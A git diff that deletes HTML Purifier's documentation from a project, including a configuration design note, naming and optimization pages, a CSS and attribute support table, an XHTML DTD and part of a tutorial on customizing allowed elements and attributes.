refactoring will be - necessary for the DefinitionCache classes, as they are built with - Config in mind. If the user changes something, the cache file gets - rebuilt. If the version changes, the cache file gets rebuilt. Since - our unit tests flush the caches before we start, and the operation is - pretty fast, this will not negatively impact unit testing. - -One last thing: certain configuration directives require that files -get added. They may even be specified dynamically. It is not a good idea -for the HTMLPurifier_Config object to be used directly for such matters. -Instead, the userland code should explicitly perform the includes. We may -put in something like: - -REQUIRES: HTMLPurifier_Filter_ExtractStyleBlocks - -To indicate that if that class doesn't exist, and the user is attempting -to use the directive, we should fatally error out. The stub includes the core files, -and the user includes everything else. Any reflective things like new -$class would be required to tie in with the configuration. - -It would work very well with rarely used configuration options, but it -wouldn't be so good for "core" parts that can be disabled. In such cases -the core include file would need to be modified, and the only way -to properly do this is use the configuration object. Once again, our -ability to create cache keys saves the day again: we can create arbitrary -stub files for arbitrary configurations and include those. They could -even be the single file affairs. The only thing we'd need to include, -then, would be HTMLPurifier_Config! Then, the configuration object would -load the library. - - An aside... - ----------- - One questions, however, the wisdom of letting PHP files write other PHP - files. It seems like a recipe for disaster, or at least lots of headaches - in highly secured setups, where PHP does not have the ability to write - to its root. In such cases, we could use sticky bits or tell the user - to manually generate the file. - - The other troublesome bit is actually doing the calculations necessary. - For certain cases, it's simple (such as URIScheme), but for AttrDef - and HTMLModule the dependency trees are very complex in relation to - %HTML.Allowed and friends. I think that this idea should be shelved - and looked at a later, less insane date. - -An interesting dilemma presents itself when a configuration form is offered -to the user. Normally, the configuration object is not accessible without -editing PHP code; this facility changes thing. The sensible thing to do -is stipulate that all classes required by the directives you allow must -be included. - -Unit testing ------------- - -Setting up the parsing and translation into our existing format would not -be difficult to do. It might represent a good time for us to rethink our -tests for these facilities; as creative as they are, they are often hacky -and require public visibility for things that ought to be protected. -This is especially applicable for our DefinitionCache tests. - -Migration ---------- - -Because we are not *adding* anything essentially new, it should be trivial -to write a script to take our existing data and dump it into the new format. -Well, not trivial, but fairly easy to accomplish. Primary implementation -difficulties would probably involve formatting the file nicely. - -Backwards-compatibility ------------------------ - -I expect that the ConfigSchema methods should stick around for a little bit, -but display E_USER_NOTICE warnings that they are deprecated. This will -require documentation! - -New stuff ---------- - -VERSION: Version number directive was introduced -DEPRECATED-VERSION: If the directive was deprecated, when was it deprecated? -DEPRECATED-USE: If the directive was deprecated, what should the user use now? -REQUIRES: What classes does this configuration directive require, but are - not part of the HTML Purifier core? - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/dev-naming.html b/classes/security/htmlpurifier/docs/dev-naming.html deleted file mode 100644 index cea4b006f..000000000 --- a/classes/security/htmlpurifier/docs/dev-naming.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - -Naming Conventions - HTML Purifier - - - -

    Naming Conventions

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    The classes in this library follow a few naming conventions, which may -help you find the correct functionality more quickly. Here they are:

    - -
    - -
    All classes occupy the HTMLPurifier pseudo-namespace.
    -
    This means that all classes are prefixed with HTMLPurifier_. As such, all - names under HTMLPurifier_ are reserved. I recommend that you use the name - HTMLPurifierX_YourName_ClassName, especially if you want to take advantage - of HTMLPurifier_ConfigDef.
    - -
    All classes correspond to their path if library/ was in the include path
    -
    HTMLPurifier_AttrDef is located at HTMLPurifier/AttrDef.php; replace - underscores with slashes and append .php and you'll have the location of - the class.
    - -
    Harness and Test are reserved class names for unit tests
    -
    The suffix Test indicates that the class is a subclass of UnitTestCase - (of the Simpletest library) and is testable. "Harness" indicates a subclass - of UnitTestCase that is not meant to be run but to be extended into - concrete test cases and contains custom test methods (i.e. assert*())
    - -
    Class names do not necessarily represent inheritance hierarchies
    -
    While we try to reflect inheritance in naming to some extent, it is not - guaranteed (for instance, none of the classes inherit from HTMLPurifier, - the base class). However, all class files have the require_once - declarations to whichever classes they are tightly coupled to.
    - -
    Strategy has a meaning different from the Gang of Four pattern
    -
    In Design Patterns, the Gang of Four describes a Strategy object as - encapsulating an algorithm so that they can be switched at run-time. While - our strategies are indeed algorithms, they are not meant to be substituted: - all must be present in order for proper functioning.
    - -
    Abbreviations are avoided
    -
    We try to avoid abbreviations as much as possible, but in some cases, - abbreviated version is more readable than the full version. Here, we - list common abbreviations: -
      -
    • Attr to Attributes (note that it is plural, i.e. $attr = array())
    • -
    • Def to Definition
    • -
    • $ret is the value to be returned in a function
    • -
    -
    - -
    Ambiguity concerning the definition of Def/Definition
    -
    While a definition normally defines the structure/acceptable values of - an entity, most of the definitions in this application also attempt - to validate and fix the value. I am unsure of a better name, as - "Validator" would exclude fixing the value, "Fixer" doesn't invoke - the proper image of "fixing" something, and "ValidatorFixer" is too long! - Some other suggestions were "Handler", "Reference", "Check", "Fix", - "Repair" and "Heal".
    - -
    Transform not Transformer
    -
    Transform is both a noun and a verb, and thus we define a "Transform" as - something that "transforms," leaving "Transformer" (which sounds like an - electrical device/robot toy).
    - -
    - - - - diff --git a/classes/security/htmlpurifier/docs/dev-optimization.html b/classes/security/htmlpurifier/docs/dev-optimization.html deleted file mode 100644 index 78f565813..000000000 --- a/classes/security/htmlpurifier/docs/dev-optimization.html +++ /dev/null @@ -1,33 +0,0 @@ - - - - - - - -Optimization - HTML Purifier - - - -

    Optimization

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Here are some possible optimization techniques we can apply to code sections if -they turn out to be slow. Be sure not to prematurely optimize: if you get -that itch, put it here!

    - -
      -
    • Make Tokens Flyweights (may prove problematic, probably not worth it)
    • -
    • Rewrite regexps into PHP code
    • -
    • Batch regexp validation (do as many per function call as possible)
    • -
    • Parallelize strategies
    • -
    - - - - diff --git a/classes/security/htmlpurifier/docs/dev-progress.html b/classes/security/htmlpurifier/docs/dev-progress.html deleted file mode 100644 index 105896ed6..000000000 --- a/classes/security/htmlpurifier/docs/dev-progress.html +++ /dev/null @@ -1,309 +0,0 @@ - - - - - - - -Implementation Progress - HTML Purifier - - - - - -

    Implementation Progress

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - Warning: This table is kept for historical purposes and - is not being actively updated. -

    - -

    Key

    - - - - - - - - -
    Implemented
    Partially implemented
    Not priority to implement
    Dangerous attribute/property
    Present in CSS1
    Feature, requires extra work
    - -

    CSS

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    NameNotes
    Standard
    background-colorCOMPOSITE(<color>, transparent)
    backgroundSHORTHAND, currently alias for background-color
    borderSHORTHAND, MULTIPLE
    border-colorMULTIPLE
    border-styleMULTIPLE
    border-widthMULTIPLE
    border-*SHORTHAND
    border-*-colorCOMPOSITE(<color>, transparent)
    border-*-styleENUM(none, hidden, dotted, dashed, - solid, double, groove, ridge, inset, outset)
    border-*-widthCOMPOSITE(<length>, thin, medium, thick)
    clearENUM(none, left, right, both)
    color<color>
    floatENUM(left, right, none), May require layout - precautions with clear
    fontSHORTHAND
    font-familyCSS validator may complain if fallback font - family not specified
    font-sizeCOMPOSITE(<absolute-size>, - <relative-size>, <length>, <percentage>)
    font-styleENUM(normal, italic, oblique)
    font-variantENUM(normal, small-caps)
    font-weightENUM(normal, bold, bolder, lighter, - 100, 200, 300, 400, 500, 600, 700, 800, 900), maybe special code for - in-between integers
    letter-spacingCOMPOSITE(<length>, normal)
    line-heightCOMPOSITE(<number>, - <length>, <percentage>, normal)
    list-style-positionENUM(inside, outside), - Strange behavior in browsers
    list-style-typeENUM(...), - Well-supported values are: disc, circle, square, - decimal, lower-roman, upper-roman, lower-alpha and upper-alpha. See also - CSS 3. Mostly IE lack of support.
    list-styleSHORTHAND
    marginMULTIPLE
    margin-*COMPOSITE(<length>, - <percentage>, auto)
    paddingMULTIPLE
    padding-*COMPOSITE(<length>(positive), - <percentage>(positive))
    text-alignENUM(left, right, - center, justify)
    text-decorationNo blink (argh my eyes), not - enum, can be combined (composite sorta): underline, overline, - line-through
    text-indentCOMPOSITE(<length>, - <percentage>)
    text-transformENUM(capitalize, uppercase, - lowercase, none)
    widthCOMPOSITE(<length>, - <percentage>, auto), Interesting
    word-spacingCOMPOSITE(<length>, auto), - IE 5 no support
    Table
    border-collapseENUM(collapse, seperate)
    border-spaceMULTIPLE
    caption-sideENUM(top, bottom)
    empty-cellsENUM(show, hide), No IE support makes this useless, - possible fix with &nbsp;? Unknown release milestone.
    table-layoutENUM(auto, fixed)
    vertical-alignCOMPOSITE(ENUM(baseline, sub, - super, top, text-top, middle, bottom, text-bottom), <percentage>, - <length>) Also applies to others with explicit height
    Absolute positioning, unknown release milestone
    bottomDangerous, must be non-negative to even be considered, - but it's still possible to arbitrarily position by running over.
    left
    right
    top
    clip-
    positionENUM(static, relative, absolute, fixed) - relative not absolute?
    z-indexDangerous
    Unknown
    background-imageDangerous
    background-attachmentENUM(scroll, fixed), - Depends on background-image
    background-positionDepends on background-image
    cursorDangerous but fluffy
    displayENUM(...), Dangerous but interesting; - will not implement list-item, run-in (Opera only) or table (no IE); - inline-block has incomplete IE6 support and requires -moz-inline-box - for Mozilla. Unknown target milestone.
    heightInteresting, why use it? Unknown target milestone.
    list-style-imageDangerous?
    max-heightNo IE 5/6
    min-height
    max-width
    min-width
    orphansNo IE support
    widowsNo IE support
    overflowENUM, IE 5/6 almost (remove visible if set). Unknown target milestone.
    page-break-afterENUM(auto, always, avoid, left, right), - IE 5.5/6 and Opera. Unknown target milestone.
    page-break-beforeENUM(auto, always, avoid, left, right), - Mostly supported. Unknown target milestone.
    page-break-insideENUM(avoid, auto), Opera only. Unknown target milestone.
    quotesMay be dropped from CSS2, fairly useless for inline context
    visibilityENUM(visible, hidden, collapse), - Dangerous
    white-spaceENUM(normal, pre, nowrap, pre-wrap, - pre-line), Spotty implementation: - pre (no IE 5/6), nowrap (no IE 5, supported), - pre-wrap (only Opera), pre-line (no support). Fixable? Unknown target milestone.
    Aural
    azimuth-
    cue-
    cue-after-
    cue-before-
    elevation-
    pause-after-
    pause-before-
    pause-
    pitch-range-
    pitch-
    play-during-
    richness-
    speak-headerTable related
    speak-numeral-
    speak-punctuation-
    speak-
    speech-rate-
    stress-
    voice-family-
    volume-
    Will not implement
    contentNot applicable for inline styles
    counter-incrementNeeds content, Opera only
    counter-resetNeeds content, Opera only
    directionNo support
    outline-colorIE Mac and Opera on outside, -Mozilla on inside and needs -moz-outline, no IE support.
    outline-style
    outline-width
    outline
    unicode-bidiNo support
    - -

    Interesting Attributes

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    AttributeTagsNotes
    CSS
    styleAllParser is reasonably functional. Status here doesn't count individual properties.
    Questionable
    accesskeyAMay interfere with main interface
    tabindexAMay interfere with main interface
    targetAConfig enabled, only useful for frame layouts, disallowed in strict
    Miscellaneous
    datetimeDEL, INSNo visible effect, ISO format
    relALargely user-defined: nofollow, tag (see microformats)
    revALargely user-defined: vote-*
    axisTD, THW3C only: No browser implementation
    charCOL, COLGROUP, TBODY, TD, TFOOT, TH, THEAD, TRW3C only: No browser implementation
    headersTD, THW3C only: No browser implementation
    scopeTD, THW3C only: No browser implementation
    URI
    citeBLOCKQUOTE, QFor attribution
    DEL, INSLink to explanation why it changed
    hrefA-
    longdescIMG-
    srcIMGRequired
    Transform
    alignCAPTION'caption-side' for top/bottom, 'text-align' for left/right
    IMGSee specimens/html-align-to-css.html
    TABLE
    HR
    H1, H2, H3, H4, H5, H6, PEquivalent style 'text-align'
    altIMGRequired, insert image filename if src is present or default invalid image text
    bgcolorTABLESuperset style 'background-color'
    TRSuperset style 'background-color'
    TD, THSuperset style 'background-color'
    borderIMGEquivalent style border:[number]px solid
    clearBRNear-equiv style 'clear', transform 'all' into 'both'
    compactDL, OL, ULBoolean, needs custom CSS class; rarely used anyway
    dirBDORequired, insert ltr (or configuration value) if none
    heightTD, THNear-equiv style 'height', needs px suffix if original was in pixels
    hspaceIMGNear-equiv styles 'margin-top' and 'margin-bottom', needs px suffix
    lang*Copy value to xml:lang
    nameIMGTurn into ID
    ATurn into ID
    noshadeHRBoolean, style 'border-style:solid;'
    nowrapTD, THBoolean, style 'white-space:nowrap;' (not compat with IE5)
    sizeHRNear-equiv 'height', needs px suffix if original was pixels
    srcIMGRequired, insert blank or default img if not set
    startOLPoorly supported 'counter-reset', allowed in loose, dropped in strict
    typeLIEquivalent style 'list-style-type', different allowed values though. (needs testing)
    OL
    UL
    valueLIPoorly supported 'counter-reset', allowed in loose, dropped in strict
    vspaceIMGNear-equiv styles 'margin-left' and 'margin-right', needs px suffix, see hspace
    widthHRNear-equiv style 'width', needs px suffix if original was pixels
    TD, TH
    - - - - diff --git a/classes/security/htmlpurifier/docs/dtd/xhtml1-transitional.dtd b/classes/security/htmlpurifier/docs/dtd/xhtml1-transitional.dtd deleted file mode 100644 index 628f27ac5..000000000 --- a/classes/security/htmlpurifier/docs/dtd/xhtml1-transitional.dtd +++ /dev/null @@ -1,1201 +0,0 @@ - - - - - -%HTMLlat1; - - -%HTMLsymbol; - - -%HTMLspecial; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-customize.html b/classes/security/htmlpurifier/docs/enduser-customize.html deleted file mode 100644 index 7e1ffa260..000000000 --- a/classes/security/htmlpurifier/docs/enduser-customize.html +++ /dev/null @@ -1,850 +0,0 @@ - - - - - - - -Customize - HTML Purifier - - - -

    Customize!

    -
    HTML Purifier is a Swiss-Army Knife
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - HTML Purifier has this quirk where if you try to allow certain elements or - attributes, HTML Purifier will tell you that it's not supported, and that - you should go to the forums to find out how to implement it. Well, this - document is how to implement elements and attributes which HTML Purifier - doesn't support out of the box. -

    - -

    Is it necessary?

    - -

    - Before we even write any code, it is paramount to consider whether or - not the code we're writing is necessary or not. HTML Purifier, by default, - contains a large set of elements and attributes: large enough so that - any element or attribute in XHTML 1.0 or 1.1 (and its HTML variants) - that can be safely used by the general public is implemented. -

    - -

    - So what needs to be implemented? (Feel free to skip this section if - you know what you want). -

    - -

    XHTML 1.0

    - -

    - All of the modules listed below are based off of the - modularization of - XHTML, which, while technically for XHTML 1.1, is quite a useful - resource. -

    - -
      -
    • Structure
    • -
    • Frames
    • -
    • Applets (deprecated)
    • -
    • Forms
    • -
    • Image maps
    • -
    • Objects
    • -
    • Frames
    • -
    • Events
    • -
    • Meta-information
    • -
    • Style sheets
    • -
    • Link (not hypertext)
    • -
    • Base
    • -
    • Name
    • -
    - -

    - If you don't recognize it, you probably don't need it. But the curious - can look all of these modules up in the above-mentioned document. Note - that inline scripting comes packaged with HTML Purifier (more on this - later). -

    - -

    XHTML 1.1

    - -

    - As of HTMLPurifier 2.1.0, we have implemented the - Ruby module, - which defines a set of tags - for publishing short annotations for text, used mostly in Japanese - and Chinese school texts, but applicable for positioning any text (not - limited to translations) above or below other corresponding text. -

    - -

    HTML 5

    - -

    - HTML 5 - is a fork of HTML 4.01 by WHATWG, who believed that XHTML 2.0 was headed - in the wrong direction. It too is a working draft, and may change - drastically before publication, but it should be noted that the - canvas tag has been implemented by many browser vendors. -

    - -

    Proprietary

    - -

    - There are a number of proprietary tags still in the wild. Many of them - have been documented in ref-proprietary-tags.txt, - but there is currently no implementation for any of them. -

    - -

    Extensions

    - -

    - There are also a number of other XML languages out there that can - be embedded in HTML documents: two of the most popular are MathML and - SVG, and I frequently get requests to implement these. But they are - expansive, comprehensive specifications, and it would take far too long - to implement them correctly (most systems I've seen go as far - as whitelisting tags and no further; come on, what about nesting!) -

    - -

    - Word of warning: HTML Purifier is currently not namespace - aware. -

    - -

    Giving back

    - -

    - As you may imagine from the details above (don't be abashed if you didn't - read it all: a glance over would have done), there's quite a bit that - HTML Purifier doesn't implement. Recent architectural changes have - allowed HTML Purifier to implement elements and attributes that are not - safe! Don't worry, they won't be activated unless you set %HTML.Trusted - to true, but they certainly help out users who need to put, say, forms - on their page and don't want to go through the trouble of reading this - and implementing it themself. -

    - -

    - So any of the above that you implement for your own application could - help out some other poor sap on the other side of the globe. Help us - out, and send back code so that it can be hammered into a module and - released with the core. Any code would be greatly appreciated! -

    - -

    And now...

    - -

    - Enough philosophical talk, time for some code: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -if ($def = $config->maybeGetRawHTMLDefinition()) {
    -    // our code will go here
    -}
    - -

    - Assuming that HTML Purifier has already been properly loaded (hint: - include HTMLPurifier.auto.php), this code will set up - the environment that you need to start customizing the HTML definition. - What's going on? -

    - -
      -
    • - The first three lines are regular configuration code: -
        -
      • - %HTML.DefinitionID is set to a unique identifier for your - custom HTML definition. This prevents it from clobbering - other custom definitions on the same installation. -
      • -
      • - %HTML.DefinitionRev is a revision integer of your HTML - definition. Because HTML definitions are cached, you'll need - to increment this whenever you make a change in order to flush - the cache. -
      • -
      -
    • -
    • - The fourth line retrieves a raw HTMLPurifier_HTMLDefinition - object that we will be tweaking. Interestingly enough, we have - placed it in an if block: this is because - maybeGetRawHTMLDefinition, as its name suggests, may - return a NULL, in which case we should skip doing any - initialization. This, in fact, will correspond to when our fully - customized object is already in the cache. -
    • -
    - -

    Turn off caching

    - -

    - To make development easier, we're going to temporarily turn off - definition caching: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // TODO: remove this later!
    -$def = $config->getHTMLDefinition(true);
    - -

    - A few things should be mentioned about the caching mechanism before - we move on. For performance reasons, HTML Purifier caches generated - HTMLPurifier_Definition objects in serialized files - stored (by default) in library/HTMLPurifier/DefinitionCache/Serializer. - A lot of processing is done in order to create these objects, so it - makes little sense to repeat the same processing over and over again - whenever HTML Purifier is called. -

    - -

    - In order to identify a cache entry, HTML Purifier uses three variables: - the library's version number, the value of %HTML.DefinitionRev and - a serial of relevant configuration. Whenever any of these changes, - a new HTML definition is generated. Notice that there is no way - for the definition object to track changes to customizations: here, it - is up to you to supply appropriate information to DefinitionID and - DefinitionRev. -

    - -

    Add an attribute

    - -

    - For this example, we're going to implement the target attribute found - on a elements. To implement an attribute, we have to - ask a few questions: -

    - -
      -
    1. What element is it found on?
    2. -
    3. What is its name?
    4. -
    5. Is it required or optional?
    6. -
    7. What are valid values for it?
    8. -
    - -

    - The first three are easy: the element is a, the attribute - is target, and it is not a required attribute. (If it - was required, we'd need to append an asterisk to the attribute name, - you'll see an example of this in the addElement() example). -

    - -

    - The last question is a little trickier. - Lets allow the special values: _blank, _self, _target and _top. - The form of this is called an enumeration, a list of - valid values, although only one can be used at a time. To translate - this into code form, we write: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // remove this later!
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    - -

    - The Enum#_blank,_self,_target,_top does all the magic. - The string is split into two parts, separated by a hash mark (#): -

    - -
      -
    1. The first part is the name of what we call an AttrDef
    2. -
    3. The second part is the parameter of the above-mentioned AttrDef
    4. -
    - -

    - If that sounds vague and generic, it's because it is! HTML Purifier defines - an assortment of different attribute types one can use, and each of these - has their own specialized parameter format. Here are some of the more useful - ones: -

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeFormatDescription
    Enum[s:]value1,value2,... - Attribute with a number of valid values, one of which may be used. When - s: is present, the enumeration is case sensitive. -
    Boolattribute_name - Boolean attribute, with only one valid value: the name - of the attribute. -
    CDATA - Attribute of arbitrary text. Can also be referred to as Text - (the specification makes a semantic distinction between the two). -
    ID - Attribute that specifies a unique ID -
    Pixels - Attribute that specifies an integer pixel length -
    Length - Attribute that specifies a pixel or percentage length -
    NMTOKENS - Attribute that specifies a number of name tokens, example: the - class attribute -
    URI - Attribute that specifies a URI, example: the href - attribute -
    Number - Attribute that specifies an positive integer number -
    - -

    - For a complete list, consult - library/HTMLPurifier/AttrTypes.php; - more information on attributes that accept parameters can be found on their - respective includes in - library/HTMLPurifier/AttrDef. -

    - -

    - Sometimes, the restrictive list in AttrTypes just doesn't cut it. Don't - sweat: you can also use a fully instantiated object as the value. The - equivalent, verbose form of the above example is: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // remove this later!
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
    -  array('_blank','_self','_target','_top')
    -));
    - -

    - Trust me, you'll learn to love the shorthand. -

    - -

    Add an element

    - -

    - Adding attributes is really small-fry stuff, though, and it was possible - to add them (albeit a bit more wordy) prior to 2.0. The real gem of - the Advanced API is adding elements. There are five questions to - ask when adding a new element: -

    - -
      -
    1. What is the element's name?
    2. -
    3. What content set does this element belong to?
    4. -
    5. What are the allowed children of this element?
    6. -
    7. What attributes does the element allow that are general?
    8. -
    9. What attributes does the element allow that are specific to this element?
    10. -
    - -

    - It's a mouthful, and you'll be slightly lost if your not familiar with - the HTML specification, so let's explain them step by step. -

    - -

    Content set

    - -

    - The HTML specification defines two major content sets: Inline - and Block. Each of these - content sets contain a list of elements: Inline contains things like - span and b while Block contains things like - div and blockquote. -

    - -

    - These content sets amount to a macro mechanism for HTML definition. Most - elements in HTML are organized into one of these two sets, and most - elements in HTML allow elements from one of these sets. If we had - to write each element verbatim into each other element's allowed - children, we would have ridiculously large lists; instead we use - content sets to compactify the declaration. -

    - -

    - Practically speaking, there are several useful values you can use here: -

    - - - - - - - - - - - - - - - - - - - - - - -
    Content setDescription
    InlineCharacter level elements, text
    BlockBlock-like elements, like paragraphs and lists
    false - Any element that doesn't fit into the mold, for example li - or tr -
    - -

    - By specifying a valid value here, all other elements that use that - content set will also allow your element, without you having to do - anything. If you specify false, you'll have to register - your element manually. -

    - -

    Allowed children

    - -

    - Allowed children defines the elements that this element can contain. - The allowed values may range from none to a complex regexp depending on - your element. -

    - -

    - If you've ever taken a look at the HTML DTD's before, you may have - noticed declarations like this: -

    - -
    <!ELEMENT LI - O (%flow;)*             -- list item -->
    - -

    - The (%flow;)* indicates the allowed children of the - li tag: li allows any number of flow - elements as its children. (The - O allows the closing tag to be - omitted, though in XML this is not allowed.) In HTML Purifier, - we'd write it like Flow (here's where the content sets - we were discussing earlier come into play). There are three shorthand - content models you can specify: -

    - - - - - - - - - - - - - - - - - - - - - - -
    Content modelDescription
    EmptyNo children allowed, like br or hr
    InlineAny number of inline elements and text, like span
    FlowAny number of inline elements, block elements and text, like div
    - -

    - This covers 90% of all the cases out there, but what about elements that - break the mold like ul? This guy requires at least one - child, and the only valid children for it are li. The - content model is: Required: li. There are two parts: the - first type determines what ChildDef will be used to validate - content models. The most common values are: -

    - - - - - - - - - - - - - - - - - - - - - - -
    TypeDescription
    RequiredChildren must be one or more of the valid elements
    OptionalChildren can be any number of the valid elements
    CustomChildren must follow the DTD-style regex
    - -

    - You can also implement your own ChildDef: this was done - for a few special cases in HTML Purifier such as Chameleon - (for ins and del), StrictBlockquote - and Table. -

    - -

    - The second part specifies either valid elements or a regular expression. - Valid elements are separated with horizontal bars (|), i.e. - "a | b | c". Use #PCDATA to represent plain text. - Regular expressions are based off of DTD's style: -

    - -
      -
    • Parentheses () are used for grouping
    • -
    • Commas (,) separate elements that should come one after another
    • -
    • Horizontal bars (|) indicate one or the other elements should be used
    • -
    • Plus signs (+) are used for a one or more match
    • -
    • Asterisks (*) are used for a zero or more match
    • -
    • Question marks (?) are used for a zero or one match
    • -
    - -

    - For example, "a, b?, (c | d), e+, f*" means "In this order, - one a element, at most one b element, - one c or d element (but not both), one or more - e elements, and any number of f elements." - Regex veterans should be able to jump right in, and those not so savvy - can always copy-paste W3C's content model definitions into HTML Purifier - and hope for the best. -

    - -

    - A word of warning: while the regex format is extremely flexible on - the developer's side, it is - quite unforgiving on the user's side. If the user input does not exactly - match the specification, the entire contents of the element will - be nuked. This is why there is are specific content model types like - Optional and Required: while they could be implemented as Custom: - (valid | elements)*, the custom classes contain special recovery - measures that make sure as much of the user's original content gets - through. HTML Purifier's core, as a rule, does not use Custom. -

    - -

    - One final note: you can also use Content Sets inside your valid elements - lists or regular expressions. In fact, the three shorthand content models - mentioned above are just that: abbreviations: -

    - - - - - - - - - - - - - - - - - - -
    Content modelImplementation
    InlineOptional: Inline | #PCDATA
    FlowOptional: Flow | #PCDATA
    - -

    - When the definition is compiled, Inline will be replaced with a - horizontal-bar separated list of inline elements. Also, notice that - it does not contain text: you have to specify that yourself. -

    - -

    Common attributes

    - -

    - Congratulations: you have just gotten over the proverbial hump (Allowed - children). Common attributes is much simpler, and boils down to - one question: does your element have the id, style, - class, title and lang attributes? - If so, you'll want to specify the Common attribute collection, - which contains these five attributes that are found on almost every - HTML element in the specification. -

    - -

    - There are a few more collections, but they're really edge cases: -

    - - - - - - - - - - - - - - - - - - -
    CollectionAttributes
    I18Nlang, possibly xml:lang
    Corestyle, class, id and title
    - -

    - Common is a combination of the above-mentioned collections. -

    - -

    - Readers familiar with the modularization may have noticed that the Core - attribute collection differs from that specified by the abstract - modules of the XHTML Modularization 1.1. We believe this section - to be in error, as br permits the use of the style - attribute even though it uses the Core collection, and - the DTD and XML Schemas supplied by W3C support our interpretation. -

    - -

    Attributes

    - -

    - If you didn't read the earlier section on - adding attributes, read it now. The last parameter is simply - an array of attribute names to attribute implementations, in the exact - same format as addAttribute(). -

    - -

    Putting it all together

    - -

    - We're going to implement form. Before we embark, lets - grab a reference implementation from over at the - transitional DTD: -

    - -
    <!ELEMENT FORM - - (%flow;)* -(FORM)   -- interactive form -->
    -<!ATTLIST FORM
    -  %attrs;                              -- %coreattrs, %i18n, %events --
    -  action      %URI;          #REQUIRED -- server-side form handler --
    -  method      (GET|POST)     GET       -- HTTP method used to submit the form--
    -  enctype     %ContentType;  "application/x-www-form-urlencoded"
    -  accept      %ContentTypes; #IMPLIED  -- list of MIME types for file upload --
    -  name        CDATA          #IMPLIED  -- name of form for scripting --
    -  onsubmit    %Script;       #IMPLIED  -- the form was submitted --
    -  onreset     %Script;       #IMPLIED  -- the form was reset --
    -  target      %FrameTarget;  #IMPLIED  -- render in this frame --
    -  accept-charset %Charsets;  #IMPLIED  -- list of supported charsets --
    -  >
    - -

    - Juicy! With just this, we can answer four of our five questions: -

    - -
      -
    1. What is the element's name? form
    2. -
    3. What content set does this element belong to? Block - (this needs a little sleuthing, I find the easiest way is to search - the DTD for FORM and determine which set it is in.)
    4. -
    5. What are the allowed children of this element? One - or more flow elements, but no nested forms
    6. -
    7. What attributes does the element allow that are general? Common
    8. -
    9. What attributes does the element allow that are specific to this element? A whole bunch, see ATTLIST; - we're going to do the vital ones: action, method and name
    10. -
    - -

    - Time for some code: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // remove this later!
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
    -  array('_blank','_self','_target','_top')
    -));
    -$form = $def->addElement(
    -  'form',   // name
    -  'Block',  // content set
    -  'Flow', // allowed children
    -  'Common', // attribute collection
    -  array( // attributes
    -    'action*' => 'URI',
    -    'method' => 'Enum#get|post',
    -    'name' => 'ID'
    -  )
    -);
    -$form->excludes = array('form' => true);
    - -

    - Each of the parameters corresponds to one of the questions we asked. - Notice that we added an asterisk to the end of the action - attribute to indicate that it is required. If someone specifies a - form without that attribute, the tag will be axed. - Also, the extra line at the end is a special extra declaration that - prevents forms from being nested within each other. -

    - -

    - And that's all there is to it! Implementing the rest of the form - module is left as an exercise to the user; to see more examples - check the library/HTMLPurifier/HTMLModule/ directory - in your local HTML Purifier installation. -

    - -

    And beyond...

    - -

